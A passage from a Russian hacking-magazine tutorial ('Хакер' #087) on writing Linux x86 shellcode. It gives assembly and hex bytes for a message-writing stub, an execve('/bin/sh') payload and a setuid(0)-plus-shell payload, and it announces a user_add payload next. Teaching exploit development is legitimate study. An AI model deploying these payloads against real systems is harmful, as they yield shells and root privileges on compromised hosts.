Черная магия для начинающих 0xbeerdrinkz & l1s Хакер, номер #087, стр. 087-148-4 При обждампе получается такой шелл-код: "\x99\x52\x58\x50\x5b" "\x68\x20\x4d\x65\x21" "\x68\x64\x20\x42\x79" "\x68\x30\x77\x6e\x65" "\x89\xe1\xfe\xc3" "\xb0\x04\xb2\x0d" "\xcd\x80\x31\xc0" "\xfe\xc0\xcd\x80" 36 байт... Это относительно немного для шелл-кода. Тот же код можно переписать по-другому, отличающимся способом хранения данных (не всегда удобно строку в стек загонять): jmp short dat main: pop ecx cdq push edx pop eax push eax pop ebx inc bl mov al,4 mov dl,13 int 80h xor eax,eax inc al int 80h dat: call main db '0wned By Me!',0xa В первой строке прыгаем в область под меткой dat, из нее вызываем метку main. Таким образом, у нас в стеке сохраняется адрес нашей строки (ведь инструкция call кладет в стек адрес следующей за ней инструкции). Из главной функции снимаем значение со стека и кладем, как второй параметр вызова write. Далее идет уже описанный мною код. Выходит такой код (4 байта больше за счет вызовов jmp и call): "\xeb\x14\x59\x99\x52\x58\x50\x5b" "\xfe\xc3\xb0\x04\xb2\x0d" "\xcd\x80\x31\xc0\xfe\xc0" "\xcd\x80\xe8\xe7\xff\xff\xff" "\x30\x77\x6e\x65\x64\x20\x42\x79" "\x20\x4d\x65\x21\x0a" Теперь, когда ты уже умеешь писать что-то типа 0wned By Me!, пора переходить к наиболее частому и практичному применению шелл-кода. [делаем execve] Для того чтобы запустить определенную программу, в никсах служит функция execve, в EAX для ее вызова надо класть 11 или 0xb. У execve три параметра: указатель на имя вызываемой программы, указатель на имя вызываемой программы и аргументы, указатель на env (на env, пожалуй, забьем). Ну что ж, приступим! cdq push edx pop eax push eax push 'n/sh' push '//bi' mov ebx,esp push eax push ebx mov ecx,esp mov al,0xb int 80h В этом коде мы сначала обнуляем регистры EDX и EAX, затем кладем в стек имя вызываемой нами программы и ноль как завершающий символ. Потом мы снимаем со стека значение и кладем как первый параметр. Следующим этапом мы кладем в стек второй параметр и ноль, то есть получаем как бы своеобразный массив, и запихиваем все это дело в ECX (второй параметр). И кладем номер системного вызова в AL и делаем вызов. Этот несложный ассемблерный код превращается в такой шелл-код: "\x99\x52\x58\x50" "\x68\x6e\x2f\x73\x68" "\x68\x2f\x2f\x62\x69" "\x89\xe3\x50\x53\x89" "\xe1\xb0\x0b\xcd\x80" Байт-код достаточно короткий - 24 байта. Это вполне приемлемо для шелл-кода. Он не требует вызова exit, так как во время выполнения кода управление передается на /bin/sh. Для того чтобы шелл-код был по-настоящему эффективным, к нему надо приплюсовать setuid(). Setuid - системный вызов, который устанавливает уид текущего пользователя на уид переданный в параметре вызова: xor eax,eax xor ebx,ebx mov al,0x17 int 80h cdq push eax push 'n/sh' push '//bi' push esp pop ebx push eax push ebx push esp pop ecx mov al,0xb int 80h Этот код почти не отличается от предыдущего. Добавился только вызов в начале setuid. "\x31\xc0\x31\xdb\xb0\x17\xcd\x80\x99\x50" "\x68\x6e\x2f\x73\x68\x68\x2f\x2f\x62\x69" "\x54\x5b\x50\x53\x54\x59\xb0\x0b\xcd\x80"; 30 байт - это неплохо. А теперь, думаю, пора приступить к написанию самого большого нашего шелл-кода - user_add. |